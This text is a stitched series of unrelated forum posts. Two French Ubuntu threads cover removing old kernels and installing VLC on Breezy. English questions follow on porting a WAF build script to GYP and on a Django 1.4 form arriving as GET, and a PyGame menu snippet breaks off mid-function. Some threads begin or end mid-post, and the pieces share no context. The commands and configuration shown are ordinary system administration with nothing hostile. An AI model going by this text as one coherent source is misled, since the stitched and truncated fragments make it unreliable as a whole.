Réception de : 14 http://fr.archive.ubuntu.com raring-updates/restricted Sources [14 B]
Réception de : 15 http://fr.archive.ubuntu.com raring-updates/universe Sources [52,2 kB]
Réception de : 16 http://fr.archive.ubuntu.com raring-updates/multiverse Sources [690 B]
Réception de : 17 http://fr.archive.ubuntu.com raring-updates/main i386 Packages [104 kB]
Réception de : 18 http://security.ubuntu.com raring-security/restricted i386 Packages [14 B]
Réception de : 19 http://fr.archive.ubuntu.com raring-updates/restricted i386 Packages [14 B]
Réception de : 20 http://fr.archive.ubuntu.com raring-updates/universe i386 Packages [100 kB]
Réception de : 21 http://security.ubuntu.com raring-security/universe i386 Packages [23,1 kB]
Réception de : 22 http://fr.archive.ubuntu.com raring-updates/multiverse i386 Packages [1 403 B]
Réception de : 23 http://security.ubuntu.com raring-security/multiverse i386 Packages [1 403 B]
Atteint http://fr.archive.ubuntu.com raring-updates/main Translation-en
Atteint http://fr.archive.ubuntu.com raring-updates/multiverse Translation-en
Atteint http://security.ubuntu.com raring-security/main Translation-en
Atteint http://fr.archive.ubuntu.com raring-updates/restricted Translation-en
Atteint http://fr.archive.ubuntu.com raring-updates/universe Translation-en
Réception de : 24 http://fr.archive.ubuntu.com raring-backports/main Sources [14 B]
Réception de : 25 http://fr.archive.ubuntu.com raring-backports/restricted Sources [14 B]
Atteint http://security.ubuntu.com raring-security/multiverse Translation-en
Réception de : 26 http://fr.archive.ubuntu.com raring-backports/universe Sources [3 922 B]
Réception de : 27 http://fr.archive.ubuntu.com raring-backports/multiverse Sources [1 403 B]
Réception de : 28 http://fr.archive.ubuntu.com raring-backports/main i386 Packages [14 B]
Réception de : 29 http://fr.archive.ubuntu.com raring-backports/restricted i386 Packages [14 B]
Réception de : 30 http://fr.archive.ubuntu.com raring-backports/universe i386 Packages [5 606 B]
Réception de : 31 http://fr.archive.ubuntu.com raring-backports/multiverse i386 Packages [1 345 B]
Atteint http://security.ubuntu.com raring-security/restricted Translation-en
Réception de : 32 http://fr.archive.ubuntu.com raring-backports/main Translation-en [14 B]
Réception de : 33 http://fr.archive.ubuntu.com raring-backports/multiverse Translation-en [1 040 B]
Réception de : 34 http://fr.archive.ubuntu.com raring-backports/restricted Translation-en [14 B]
Atteint http://security.ubuntu.com raring-security/universe Translation-en
Réception de : 35 http://fr.archive.ubuntu.com raring-backports/universe Translation-en [4 426 B]
Ign http://security.ubuntu.com raring-security/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/multiverse Translation-fr_FR
Ign http://security.ubuntu.com raring-security/main Translation-fr
Ign http://fr.archive.ubuntu.com raring/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring/universe Translation-fr_FR
Ign http://security.ubuntu.com raring-security/multiverse Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/main Translation-fr_FR
Ign http://security.ubuntu.com raring-security/multiverse Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/main Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/multiverse Translation-fr_FR
Ign http://security.ubuntu.com raring-security/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/multiverse Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/restricted Translation-fr
Ign http://security.ubuntu.com raring-security/restricted Translation-fr
Ign http://fr.archive.ubuntu.com raring-updates/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-updates/universe Translation-fr
Ign http://security.ubuntu.com raring-security/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-backports/main Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-backports/main Translation-fr
Ign http://fr.archive.ubuntu.com raring-backports/multiverse Translation-fr_FR
Ign http://security.ubuntu.com raring-security/universe Translation-fr
Ign http://fr.archive.ubuntu.com raring-backports/multiverse Translation-fr
Ign http://fr.archive.ubuntu.com raring-backports/restricted Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-backports/restricted Translation-fr
Ign http://fr.archive.ubuntu.com raring-backports/universe Translation-fr_FR
Ign http://fr.archive.ubuntu.com raring-backports/universe Translation-fr
575 ko réceptionnés en 9s (60,4 ko/s)
Lecture des listes de paquets... Fait
guillaume@guillaume-1005PE:~$ sudo apt-get upgrade
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
@jeanjd63
guillaume@guillaume-1005PE:~$ sudo ls -l /boot | grep vmlinuz
-rw------- 1 root root 4864224 mai 22 2012 vmlinuz-3.2.0-24-generic
-rw------- 1 root root 4865120 mai 24 2012 vmlinuz-3.2.0-25-generic
-rw------- 1 root root 4855392 juin 14 2012 vmlinuz-3.2.0-26-generic
-rw------- 1 root root 4855808 juil. 6 2012 vmlinuz-3.2.0-27-generic
-rw------- 1 root root 4855200 juil. 27 2012 vmlinuz-3.2.0-29-generic
-rw------- 1 root root 4858368 août 24 2012 vmlinuz-3.2.0-30-generic
-rw------- 1 root root 4858592 sept. 7 2012 vmlinuz-3.2.0-31-generic
-rw------- 1 root root 4861056 sept. 27 2012 vmlinuz-3.2.0-32-generic
-rw------- 1 root root 4861280 oct. 18 2012 vmlinuz-3.2.0-33-generic
-rw-r--r-- 1 root root 5171760 oct. 23 2012 vmlinuz-3.5.0-17-generic
-rw------- 1 root root 5176048 oct. 19 2012 vmlinuz-3.5.0-18-generic
-rw------- 1 root root 5175696 nov. 13 2012 vmlinuz-3.5.0-19-generic
-rw------- 1 root root 5176464 déc. 11 2012 vmlinuz-3.5.0-21-generic
-rw------- 1 root root 5176592 janv. 8 23:11 vmlinuz-3.5.0-22-generic
-rw------- 1 root root 5176144 janv. 24 14:34 vmlinuz-3.5.0-23-generic
-rw------- 1 root root 5180752 févr. 7 07:02 vmlinuz-3.5.0-24-generic
-rw------- 1 root root 5180432 févr. 25 20:32 vmlinuz-3.5.0-25-generic
-rw------- 1 root root 5167568 mars 9 00:49 vmlinuz-3.5.0-26-generic
-rw------- 1 root root 5169520 mars 25 21:29 vmlinuz-3.5.0-27-generic
-rw------- 1 root root 5169232 avril 24 01:34 vmlinuz-3.5.0-28-generic
-rw------- 1 root root 5368624 mai 6 19:39 vmlinuz-3.8.0-20-generic
-rw------- 1 root root 5370096 juin 6 23:19 vmlinuz-3.8.0-25-generic
-rw------- 1 root root 5369008 juin 18 00:19 vmlinuz-3.8.0-26-generic
Dernière modification par guigui8594 (Le 29/06/2013, à 23:25)
Hors ligne
jeanjd63
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Salut
As-tu essayé avec de lancer synaptic puis de rechercher sur les n° de kernel pour chacun des kernels que tu souhaites supprimer :
3.2.0-24 à 3.2.0-33, 3.5.0-17 à 3.5.0-28 et 3.8.0-26 puis de "désinstaller complètement" (clic droit sur les lignes avec un petit carré vert)?
@+
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Il n'y a aucune de ces versions dans synaptic...
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Que donne cette commande ?
sudo apt-get autoremove
Dernière modification par inbox (Le 30/06/2013, à 18:54)
Hors ligne
jeanjd63
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Il n'y a aucune de ces versions dans synaptic...
Bizarre, mais tu peux faire autrement :mkdir save_kernelsudo mv /boot/*3.2.0-* save_kernelsudo mv /boot/*3.5.0-* save_kernelsudo mv /boot/*3.8.0-26* save_kernel
Ensuite tu lances un :sudo update-grub
Dernière modification par jeanjd63 (Le 30/06/2013, à 19:01)
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Voici le résultat de autoremove :
guillaume@guillaume-1005PE:~$ sudo apt-get autoremove
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
Et le résultat de l'update grub (après déplacement)
guillaume@guillaume-1005PE:~$ sudo update-grub
Création de grub.cfg…
Image Linux trouvée : /boot/vmlinuz-3.8.0-25-generic
Image mémoire initiale trouvée : /boot/initrd.img-3.8.0-25-generic
Image Linux trouvée : /boot/vmlinuz-3.8.0-20-generic
Image mémoire initiale trouvée : /boot/initrd.img-3.8.0-20-generic
Found memtest86+ image: /boot/memtest86+.bin
fait
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
De quelle manière as-tu supprimé les anciens noyaux ?
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
J'ai suivit les conseils de jeanjd23
Hors ligne
jeanjd63
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Tu peux mettre un "Résolu" dans le titre (en modifiant ton premier post.
Cependant ce n'est qu'une solution de contournement et c'est étonnant que ces kernels n'apparaissent pas dans synaptic.
Peux-tu donner le contenu de /usr/src :sudo ls -l /usr/src
Peux-tu aussi taper les commandes :sudo dpkg --configure -a
etsudo apt-get install -f
@+
Hors ligne
inbox
Re : [RESOLU] Problème avec kernel version 3.8.0-26
J'ai suivit les conseils de jeanjd23
La question est "avant de te retrouver dans cette situation", comment as tu fait ?
Hors ligne
JLK
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Bonjour,
J'ai un soucis avec la version 3.8.0-26.
Mon pc démarre par défaut sur cette version, mais une erreur de résolution d'affichage apparaît, le réseau ne fonctionne plus, le pavé tactile non plus et il est extrêmement lent.
Avec la version 3.8.0-25, aucun problème.
Donc pour le moment, je démarre avec grub sur cette version.
Je pensais supprimer la ver 3.8.0-26, et ainsi démarrer par défaut sur la 25.
Mais si j'essai de la supprimer, il dit qu'il ne la trouve pas.
Si je fais un update grub, il trouve la version 26 (et une dizaine d'autres anciennes que je ne peux pas supprimer non plus).
Auriez vous un solution pour supprimer la 3.8.0-26 ? (si c'est bien la solution).
Merci d'avance.
Salut.
Quelle version d'Ubuntu possèdes-tu ?
Hors ligne
guigui8594
Re : [RESOLU] Problème avec kernel version 3.8.0-26
@jeanjd63
guillaume@guillaume-1005PE:~$ sudo ls -l /usr/src
[sudo] password for guillaume:
total 172
drwxr-xr-x 24 root root 4096 mai 25 2012 linux-headers-3.2.0-24
drwxr-xr-x 7 root root 4096 mai 25 2012 linux-headers-3.2.0-24-generic
drwxr-xr-x 7 root root 4096 mai 25 2012 linux-headers-3.2.0-24-generic-pae
drwxr-xr-x 24 root root 4096 juin 1 2012 linux-headers-3.2.0-25
drwxr-xr-x 7 root root 4096 juin 1 2012 linux-headers-3.2.0-25-generic
drwxr-xr-x 7 root root 4096 juin 1 2012 linux-headers-3.2.0-25-generic-pae
drwxr-xr-x 24 root root 4096 juin 16 2012 linux-headers-3.2.0-26
drwxr-xr-x 7 root root 4096 juin 16 2012 linux-headers-3.2.0-26-generic
drwxr-xr-x 7 root root 4096 juin 16 2012 linux-headers-3.2.0-26-generic-pae
drwxr-xr-x 24 root root 4096 juil. 15 2012 linux-headers-3.2.0-27
drwxr-xr-x 7 root root 4096 juil. 15 2012 linux-headers-3.2.0-27-generic
drwxr-xr-x 7 root root 4096 juil. 15 2012 linux-headers-3.2.0-27-generic-pae
drwxr-xr-x 24 root root 4096 août 1 2012 linux-headers-3.2.0-29
drwxr-xr-x 7 root root 4096 août 1 2012 linux-headers-3.2.0-29-generic
drwxr-xr-x 7 root root 4096 août 1 2012 linux-headers-3.2.0-29-generic-pae
drwxr-xr-x 24 root root 4096 août 29 2012 linux-headers-3.2.0-30
drwxr-xr-x 7 root root 4096 août 29 2012 linux-headers-3.2.0-30-generic
drwxr-xr-x 7 root root 4096 août 29 2012 linux-headers-3.2.0-30-generic-pae
drwxr-xr-x 24 root root 4096 sept. 10 2012 linux-headers-3.2.0-31
drwxr-xr-x 7 root root 4096 sept. 10 2012 linux-headers-3.2.0-31-generic
drwxr-xr-x 7 root root 4096 sept. 10 2012 linux-headers-3.2.0-31-generic-pae
drwxr-xr-x 24 root root 4096 sept. 28 2012 linux-headers-3.2.0-32
drwxr-xr-x 7 root root 4096 sept. 28 2012 linux-headers-3.2.0-32-generic
drwxr-xr-x 7 root root 4096 sept. 28 2012 linux-headers-3.2.0-32-generic-pae
drwxr-xr-x 24 root root 4096 oct. 20 2012 linux-headers-3.2.0-33
drwxr-xr-x 7 root root 4096 oct. 20 2012 linux-headers-3.2.0-33-generic
drwxr-xr-x 7 root root 4096 oct. 20 2012 linux-headers-3.2.0-33-generic-pae
drwxr-xr-x 24 root root 4096 nov. 6 2012 linux-headers-3.5.0-18
drwxr-xr-x 7 root root 4096 nov. 6 2012 linux-headers-3.5.0-18-generic
drwxr-xr-x 24 root root 4096 nov. 30 2012 linux-headers-3.5.0-19
drwxr-xr-x 7 root root 4096 nov. 30 2012 linux-headers-3.5.0-19-generic
drwxr-xr-x 24 root root 4096 déc. 21 2012 linux-headers-3.5.0-21
drwxr-xr-x 7 root root 4096 déc. 21 2012 linux-headers-3.5.0-21-generic
drwxr-xr-x 24 root root 4096 janv. 18 19:46 linux-headers-3.5.0-22
drwxr-xr-x 7 root root 4096 janv. 18 19:46 linux-headers-3.5.0-22-generic
drwxr-xr-x 24 root root 4096 févr. 2 18:39 linux-headers-3.5.0-23
drwxr-xr-x 7 root root 4096 févr. 2 18:39 linux-headers-3.5.0-23-generic
drwxr-xr-x 24 root root 4096 févr. 20 19:35 linux-headers-3.5.0-24
drwxr-xr-x 7 root root 4096 févr. 20 19:36 linux-headers-3.5.0-24-generic
drwxr-xr-x 24 root root 4096 mars 4 20:10 linux-headers-3.5.0-25
drwxr-xr-x 7 root root 4096 mars 4 20:10 linux-headers-3.5.0-25-generic
drwxr-xr-x 24 root root 4096 juin 25 21:25 linux-headers-3.8.0-25
drwxr-xr-x 7 root root 4096 juin 25 21:26 linux-headers-3.8.0-25-generic
guillaume@guillaume-1005PE:~$ sudo dpkg --configure -a
guillaume@guillaume-1005PE:~$ sudo apt-get install -f
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances
Lecture des informations d'état... Fait
0 mis à jour, 0 nouvellement installés, 0 à enlever et 0 non mis à jour.
@Inbox
Que veux tu dire ?
@JLK
13.04
Hors ligne
jeanjd63
Re : [RESOLU] Problème avec kernel version 3.8.0-26
Donc dans /usr/src tu as aussi plein de références aux kernels.
Il faudrait aussi les "bouger" dans save_kernel :
sudo mv /usr/src/*3.2.0-* save_kernelsudo mv /usr/src/*3.5.0-* save_kernel
Que donne la commande :dpkg -l | grep "ii linux-"
@+
Hors ligne
|
rekiem
installer
Je viens d'installer ubuntu avant j'était sous windows j'ai télécharger vlc media player mais je ne sais pas comment l'installer. Aidez moi sa ne doit pas etre très compliquer désoler pour le derangement.
Hors ligne
Bobbybionic
Re : installer
Bonsoir
Tu as "téléchargé vlc" ?
Le .exe sans doute je me trompe ? Comme sous Windows :-D ?
Oublie tout ça malheureux ! Lol les .exe c'est fini. C'est compliqué, faut le télcharger, faire clic clic clic sans trop savoir ce qu'il fait... pfff ! Ça fais mal aux doigts !
Va dans Système>Administration>Synaptic, vérifie tes dépots et fais une recherche de "vlc".
Tu coches la case, "Appliquer" et c'est bon !
C'est cool ubuntu non ?
Pour info sur Synaptic, voir la page du wiki : http://wiki.ubuntu-fr.org/applications/synaptic
Non à la vente liée. Non au monopole Windows.
Tous ensemble, refusons les logiciels préinstallés et tournons nous vers le libre.
http://bobbybionic.wordpress.com
Hors ligne
rekiem
Re : installer
j'ai fait comme t'a dit mais sa fait
vlc:
Dépend: liba52-0.7.4 but it is not installable
Dépend: libid3tag0 (>=0.15.1b) but it is not installable
Dépend: libmad0 (>=0.15.1b) but it is not installable
Dépend: libmodplug0c2 (>=1:0.7-4.1) but it is not installable
Dépend: libmpeg2-4 but it is not installable
Dépend : wxvlc mais ne doit pas être installé
Hors ligne
Bobbybionic
Re : installer
Il doit te manquer des dépots, peux tu ouvrir un terminal et faire
$ gedit /etc/apt/sources.list
et coller le texte dans un message ?
Non à la vente liée. Non au monopole Windows.
Tous ensemble, refusons les logiciels préinstallés et tournons nous vers le libre.
http://bobbybionic.wordpress.com
Hors ligne
rekiem
Re : installer
deb cdrom:[Ubuntu 5.10 _Breezy Badger_ - Release i386 (20051012)]/ breezy main restricted
## Uncomment the following two lines to fetch updated software from the network
# deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Uncomment the following two lines to fetch major bug fix updates produced
## after the final release of the distribution.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy universe
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
# deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
# deb http://security.ubuntu.com/ubuntu breezy-security main restricted
# deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
# deb http://security.ubuntu.com/ubuntu breezy-security universe
# deb-src http://security.ubuntu.com/ubuntu breezy-security universe
deb http://archive.ubuntu.com/ubuntu/ breezy universe
deb http://archive.ubuntu.com/ubuntu/ breezy universe
Hors ligne
Bobbybionic
Re : installer
## Uncomment the following two lines to fetch updated software from the network
deb http://fr.archive.ubuntu.com/ubuntu breezy main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy main restricted
## Uncomment the following two lines to fetch major bug fix updates produced
## after the final release of the distribution.
deb http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-updates main restricted
## Uncomment the following two lines to add software from the 'universe'
## repository.
## N.B. software from this repository is ENTIRELY UNSUPPORTED by the Ubuntu
## team, and may not be under a free licence. Please satisfy yourself as to
## your rights to use the software. Also, please note that software in
## universe WILL NOT receive any review or updates from the Ubuntu security
## team.
deb http://fr.archive.ubuntu.com/ubuntu breezy universe
deb-src http://fr.archive.ubuntu.com/ubuntu breezy universe
## Uncomment the following two lines to add software from the 'backports'
## repository.
## N.B. software from this repository may not have been tested as
## extensively as that contained in the main release, although it includes
## newer versions of some applications which may provide useful features.
## Also, please note that software in backports WILL NOT receive any review
## or updates from the Ubuntu security team.
deb http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb-src http://fr.archive.ubuntu.com/ubuntu breezy-backports main restricted universe multiverse
deb http://security.ubuntu.com/ubuntu breezy-security main restricted
deb-src http://security.ubuntu.com/ubuntu breezy-security main restricted
deb http://security.ubuntu.com/ubuntu breezy-security universe
deb-src http://security.ubuntu.com/ubuntu breezy-security universe
Comme ça déjà ça devrait aller mieux je pense.
Non à la vente liée. Non au monopole Windows.
Tous ensemble, refusons les logiciels préinstallés et tournons nous vers le libre.
http://bobbybionic.wordpress.com
Hors ligne
|
I'm migrating an out of date npm package from WAF to GYP, but having a few problems getting everything working. It runs a WSCRIPT which seems to include a 3rd party library:
import Options
from os import unlink, symlink, popen, sys
from os.path import exists
srcdir = '.'
blddir = 'build'
VERSION = '0.0.2'
def set_options(opt):
opt.tool_options('compiler_cxx')
def configure(conf):
conf.check_tool('compiler_cxx')
conf.check_tool('node_addon')
print(sys.platform)
if sys.platform == 'darwin':
conf.check_tool('osx')
tc_framework = 'TelldusCore'
conf.env.append_value("FRAMEWORK_TC", tc_framework)
tc_frameworkpath = '/Library/Frameworks/TelldusCore.framework/'
conf.env.append_value("FRAMEWORKPATH_TC", tc_frameworkpath)
tc_lib = tc_frameworkpath + 'Headers/'
conf.env.append_value("CPPPATH_TC", tc_lib)
elif sys.platform == 'linux2':
conf.env.LIB_TC = 'telldus-core'
#conf.env.LIBPATH_TC = ['/usr/lib']
#conf.env.CCFLAGS_TC = ['-O0']
conf.env.CCDEFINES_TC = ['TC']
#conf.env.LINKFLAGS_TC = ['-g']
else:
raise ValueError("Dose not support: %r" % sys.platform)
def build(bld):
obj = bld.new_task_gen('cxx', 'shlib', 'node_addon')
obj.target = 'telldus'
obj.source = 'telldus.cc'
obj.uselib = "TC"
Now I've tried to convert it to a binding.gyp script, but not sure how to include the library:
{
"targets": [
{
"target_name": "tellduscorejs2",
"sources": [ "tellduscorejs2.cpp" ],
"conditions": [
['OS=="mac"', {
'defines': [
'FRAMEWORK_TC=TelldusCore',
'FRAMEWORKPATH_TC="/Library/Frameworks/TelldusCore.framework/"',
'CPPPATH_TC="/Library/Frameworks/TelldusCore.framework/Headers/"'
]
}],
['OS=="linux"', {
'defines': [
'LIB_TC=telldus-core',
'CCDEFINES_TC=TC'
]
}]
],
'link_settings': {
'libraries': [
???
],
},
}
]
}
If anyone could point out if I'm on the right lines or what I need to change to include the library it'd be appreciated!
|
When I submit a form that has method="POST" the view that handles it is getting method GET, and I can't seem to get it to be a POST, which is necessary for file uploads. Short of just canning my existing (was working a week ago, before upgrade to 1.4) and trying to use the form upload the sample from https://docs.djangoproject.com/en/dev/topics/http/file-uploads/, can you see what is going wrong here? I tried a fresh session using Chrome Incognito with the same results. When I don't include method="POST" it submits with method GET and the fields are included in the request.GET dictionary in the email. However, when I change to POST/post, it remains method GET and the fields are not in the request.POST or the request.GET dictionaries. Is there a bug in Django 1.4 that is causing this behavior? Is there something I'm missing? I tried to make a simple example to rule out all extraneous potential variables.
Simple test scenario:
urls.py:
url(r'^upload_test/+$', 'views.presentation.UploadTest'),
url(r'^uploaded_test/+$', 'views.presentation.UploadedTest'),
views/presentation.py:
def Notify(subject, body):
"""
Send an email to <to_email>, from <from_email> with the
subject and body supplied.
"""
send_mail(subject, body, '<from_email>', ['<to_email>'], fail_silently=False)
def UploadTest(request):
Notify("UploadTest", "METHOD: " + str(request.method) + """
""" + str(request))
return render_to_response('upload.htm', context_instance=RequestContext(request))
def UploadedTest(request):
Notify("UploadedTest", "METHOD: " + str(request.method) + """
""" + str(request) + """
FILES:
""" + str(request.FILES))
return render_to_response('upload.htm', context_instance=RequestContext(request))
upload.htm (note method is POST, I tried lowercase just in case as well):
<form
id="upload_file_form"
action="/uploaded_test"
method="POST"
enctype="multipart/form-data"
target="_blank"
>
{% csrf_token %}
<input type="text" name="extra_field" value="extra post field" />
<input type="file" name="upload_file" id="upload_file" />
<input type="submit" name="upload" value="Submit" />
</form>
Results of simple test scenario
The emails I get (note the first is the form pre-submit, the second is the posted form page):
FIRST EMAIL (subject "UploadTest"):
METHOD: GET
<WSGIRequest
path:/upload_test/,
GET:<QueryDict: {}>,
POST:<QueryDict: {}>,
COOKIES:{
'csrftoken': '...',
'sessionid': '...'},
META:{'CSRF_COOKIE': '...',
'DOCUMENT_ROOT': '...',
'GATEWAY_INTERFACE': 'CGI/1.1',
'HTTPS': '1',
'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'HTTP_ACCEPT_ENCODING': 'gzip, deflate',
'HTTP_ACCEPT_LANGUAGE': 'en-us,en;q=0.5',
'HTTP_CONNECTION': 'keep-alive',
'HTTP_COOKIE': '... csrftoken=...; CFID=16005; CFTOKEN=...; sessionid=...',
'HTTP_HOST': '...',
'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0',
'PATH_INFO': u'/upload_test/',
'PATH_TRANSLATED': '...site.wsgi/upload_test/',
'QUERY_STRING': '',
'REMOTE_ADDR': '10.1.0.100',
'REMOTE_PORT': '56037',
'REQUEST_METHOD': 'GET',
'REQUEST_URI': '/upload_test/',
'SCRIPT_FILENAME': '...site.wsgi',
'SCRIPT_NAME': u'',
'SERVER_ADDR': '10.1.10.12',
'SERVER_ADMIN': '...',
'SERVER_NAME': '...',
'SERVER_PORT': '443',
'SERVER_PROTOCOL': 'HTTP/1.1',
'SERVER_SIGNATURE': '',
'SERVER_SOFTWARE': 'Apache',
'SSL_TLS_SNI': '...',
'mod_wsgi.application_group': '...|',
'mod_wsgi.callable_object': 'application',
'mod_wsgi.handler_script': '',
'mod_wsgi.input_chunked': '0',
'mod_wsgi.listener_host': '',
'mod_wsgi.listener_port': '443',
'mod_wsgi.process_group': '',
'mod_wsgi.request_handler': 'wsgi-script',
'mod_wsgi.script_reloading': '1',
'mod_wsgi.version': (3, 3),
'wsgi.errors': <mod_wsgi.Log object at 0x1962048>,
'wsgi.file_wrapper': <built-in method file_wrapper of mod_wsgi.Adapter object at 0xb73d2770>,
'wsgi.input': <mod_wsgi.Input object at 0x1962020>,
'wsgi.multiprocess': True,
'wsgi.multithread': True,
'wsgi.run_once': False,
'wsgi.url_scheme': 'https',
'wsgi.version': (1, 1)}>
SECOND EMAIL (subject "UploadedTest", method is STILL "GET", notice HTTP_REFERER is correct, and request.FILES exists, but is empty.):
METHOD: GET
<WSGIRequest
path:/uploaded_test/,
GET:<QueryDict: {}>,
POST:<QueryDict: {}>,
COOKIES:{
'csrftoken': '...',
'sessionid': '...'
},
META:{'CSRF_COOKIE': '...',
'DOCUMENT_ROOT': '...',
'GATEWAY_INTERFACE': 'CGI/1.1',
'HTTPS': '1',
'HTTP_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'HTTP_ACCEPT_ENCODING': 'gzip, deflate',
'HTTP_ACCEPT_LANGUAGE': 'en-us,en;q=0.5',
'HTTP_CONNECTION': 'keep-alive',
'HTTP_COOKIE': 'csrftoken=...; sessionid=...',
'HTTP_HOST': '...',
'HTTP_REFERER': '.../upload_test/',
'HTTP_USER_AGENT': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0',
'PATH_INFO': u'/uploaded_test/',
'PATH_TRANSLATED': '...site.wsgi/uploaded_test/',
'QUERY_STRING': '',
'REMOTE_ADDR': '10.1.0.100',
'REMOTE_PORT': '56040',
'REQUEST_METHOD': 'GET',
'REQUEST_URI': '/uploaded_test/',
'SCRIPT_FILENAME': '...site.wsgi',
'SCRIPT_NAME': u'',
'SERVER_ADDR': '10.1.10.12',
'SERVER_ADMIN': '...',
'SERVER_NAME': '...',
'SERVER_PORT': '443',
'SERVER_PROTOCOL': 'HTTP/1.1',
'SERVER_SIGNATURE': '',
'SERVER_SOFTWARE': 'Apache',
'SSL_TLS_SNI': '...',
'mod_wsgi.application_group': '...|',
'mod_wsgi.callable_object': 'application',
'mod_wsgi.handler_script': '',
'mod_wsgi.input_chunked': '0',
'mod_wsgi.listener_host': '',
'mod_wsgi.listener_port': '443',
'mod_wsgi.process_group': '',
'mod_wsgi.request_handler': 'wsgi-script',
'mod_wsgi.script_reloading': '1',
'mod_wsgi.version': (3, 3),
'wsgi.errors': <mod_wsgi.Log object at 0x1956b88>,
'wsgi.file_wrapper': <built-in method file_wrapper of mod_wsgi.Adapter object at 0x21cf0f8>,
'wsgi.input': <mod_wsgi.Input object at 0x1961048>,
'wsgi.multiprocess': True,
'wsgi.multithread': True,
'wsgi.run_once': False,
'wsgi.url_scheme': 'https',
'wsgi.version': (1, 1)}>
FILES:
<MultiValueDict: {}>
Doubtful, but perhaps it is something wrong in my wsgi file, or in my Apache site directive. Here are those, just in case:
...wsgi:
import os
import sys
path = '/var'
if path not in sys.path:
sys.path.append(path)
path = '/var/www'
if path not in sys.path:
sys.path.append(path)
path = '/var/www/site'
if path not in sys.path:
sys.path.append(path)
os.environ['DJANGO_SETTINGS_MODULE'] = 'site.settings'
import django.core.handlers.wsgi
application = django.core.handlers.wsgi.WSGIHandler()
Apache sites-enabled directive:
<VirtualHost 10.1.10.12:80>
ServerName ...
RewriteEngine on
RewriteCond %{HTTPS} !=on
RewriteRule ^/(.*) https://%{SERVER_NAME}/$1 [R,L]
</VirtualHost>
<Directory /var/www/site>
RewriteEngine on
RewriteCond 1 =1
RewriteRule ^/(.*) https://%{SERVER_NAME}
</Directory>
<VirtualHost 10.1.10.12:443>
ServerName ...
DocumentRoot /var/www/site
ServerAlias ...
ErrorLog /var/log/apache2/site-error.log
LogLevel warn
CustomLog /var/log/apache2/site-access.log combined
WSGIScriptAlias / /var/www/site/site.wsgi
SSLEngine on
SSLCertificateFile ...
SSLCertificateKeyFile ...
# Media serving, must specify which files to serve and not
# hand their urls to the django framework.
Alias /robots.txt .../robots.txt
Alias /favicon.ico .../favicon.ico
Alias /templates/ .../django_templates/
Alias /static/ .../django_static/
Alias /images/ .../django_static/images/
<Directory /usr/local/lib/python2.6/dist-packages/django/contrib/admin/media/>
Order deny,allow
Allow from all
</Directory>
<Directory .../django_static/>
Order deny,allow
Allow from all
</Directory>
<Directory /usr/local/lib/python2.6/dist-packages/django/contrib/admin/media/js>
Order allow,deny
Allow from all
</Directory>
<Directory .../uploads/>
Order allow,deny
Allow from all
</Directory>
XSendFile on
|
I've been working on a simple main menu in Python 3.1 and PyGame 2.7. When the mouse cursor is within a certain area, text on the screen should become white in color. I'm using functions to blit the screen. The first function blits the main menu normally, and the other two functions blit the menu with some text highlighted. Here are the functions:
def draw_main_menu(): #draw main menu normally
screen.fill(BLACK) #clears screen
#set up text
new_text = menu_font.render('NEW GAME', 1, (100, 100, 100))
